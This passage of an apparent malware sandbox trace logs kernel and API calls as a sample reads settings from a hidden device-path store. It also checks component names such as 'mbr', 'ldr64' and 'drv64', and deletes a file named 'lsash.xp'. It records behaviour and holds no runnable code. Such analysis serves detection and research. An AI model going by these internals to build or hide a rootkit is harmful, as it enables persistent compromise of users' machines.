_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.336] KeEnterCriticalRegion () [0126.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.336] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.336] KeLeaveCriticalRegion () [0126.336] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.336] KeEnterCriticalRegion () [0126.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.336] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.336] IdePortDispatch () returned 0x103 [0126.337] KeWaitForMutexObject () returned 0x0 [0126.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.337] KeLeaveCriticalRegion () [0126.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.337] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.337] KeEnterCriticalRegion () [0126.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003475000 [0126.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.337] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.337] IdePortDispatch () returned 0x103 [0126.337] KeWaitForMutexObject () returned 0x0 [0126.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.337] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.337] IdePortDispatch () returned 0x103 [0126.337] KeWaitForMutexObject () returned 0x0 [0126.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.337] KeLeaveCriticalRegion () [0126.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.338] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.338] KeEnterCriticalRegion () [0126.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] KeLeaveCriticalRegion () [0126.338] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.338] KeEnterCriticalRegion () [0126.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.338] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] KeLeaveCriticalRegion () [0126.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.338] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.338] KeEnterCriticalRegion () [0126.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] KeLeaveCriticalRegion () [0126.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.338] ReleaseMutex (hMutex=0xf0) returned 1 [0126.338] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.338] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.338] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.338] KeEnterCriticalRegion () [0126.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.339] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.339] IdePortDispatch () returned 0x103 [0126.339] KeWaitForMutexObject () returned 0x0 [0126.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.339] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.339] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.339] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.339] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.339] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa4b0 [0126.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.339] KeLeaveCriticalRegion () [0126.339] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.339] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.339] KeEnterCriticalRegion () [0126.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.339] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.339] KeLeaveCriticalRegion () [0126.339] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.339] KeEnterCriticalRegion () [0126.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.339] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.339] IdePortDispatch () returned 0x103 [0126.339] KeWaitForMutexObject () returned 0x0 [0126.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.340] KeLeaveCriticalRegion () [0126.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.340] KeEnterCriticalRegion () [0126.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003476000 [0126.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.340] IdePortDispatch () returned 0x103 [0126.340] KeWaitForMutexObject () returned 0x0 [0126.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.340] IdePortDispatch () returned 0x103 [0126.340] KeWaitForMutexObject () returned 0x0 [0126.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.340] KeLeaveCriticalRegion () [0126.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.341] KeEnterCriticalRegion () [0126.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] KeLeaveCriticalRegion () [0126.341] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.341] KeEnterCriticalRegion () [0126.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.341] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] KeLeaveCriticalRegion () [0126.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.341] KeEnterCriticalRegion () [0126.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] ExFreePoolWithTag (P=0xfffffa8003bfa4b0, Tag=0x0) [0126.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] KeLeaveCriticalRegion () [0126.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.341] ReleaseMutex (hMutex=0xf0) returned 1 [0126.341] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.341] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.341] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.341] KeEnterCriticalRegion () [0126.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.341] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.341] IdePortDispatch () returned 0x103 [0126.341] KeWaitForMutexObject () returned 0x0 [0126.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.342] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.342] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.342] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.342] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.342] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8520 [0126.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.342] KeLeaveCriticalRegion () [0126.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.342] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.342] KeEnterCriticalRegion () [0126.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.342] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.342] KeLeaveCriticalRegion () [0126.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.342] KeEnterCriticalRegion () [0126.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.342] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.342] IdePortDispatch () returned 0x103 [0126.342] KeWaitForMutexObject () returned 0x0 [0126.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.342] KeLeaveCriticalRegion () [0126.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.342] KeEnterCriticalRegion () [0126.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003477000 [0126.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.343] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.343] IdePortDispatch () returned 0x103 [0126.343] KeWaitForMutexObject () returned 0x0 [0126.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.343] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.343] IdePortDispatch () returned 0x103 [0126.343] KeWaitForMutexObject () returned 0x0 [0126.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.343] KeLeaveCriticalRegion () [0126.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.343] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.343] KeEnterCriticalRegion () [0126.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] KeLeaveCriticalRegion () [0126.344] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.344] KeEnterCriticalRegion () [0126.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.344] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] KeLeaveCriticalRegion () [0126.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.344] KeEnterCriticalRegion () [0126.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] ExFreePoolWithTag (P=0xfffffa8003ac8520, Tag=0x0) [0126.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] KeLeaveCriticalRegion () [0126.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.344] ReleaseMutex (hMutex=0xf0) returned 1 [0126.344] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.344] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.344] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.344] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.344] KeEnterCriticalRegion () [0126.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.344] IdePortDispatch () returned 0x103 [0126.344] KeWaitForMutexObject () returned 0x0 [0126.344] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.344] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.344] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.344] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.345] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.345] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.345] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.345] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.345] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.345] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.345] KeLeaveCriticalRegion () [0126.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.345] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.345] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.345] KeEnterCriticalRegion () [0126.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.345] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.345] IdePortDispatch () returned 0x103 [0126.345] KeWaitForMutexObject () returned 0x0 [0126.345] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.345] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.345] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.345] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.345] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.345] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.345] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.345] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.345] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.345] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp 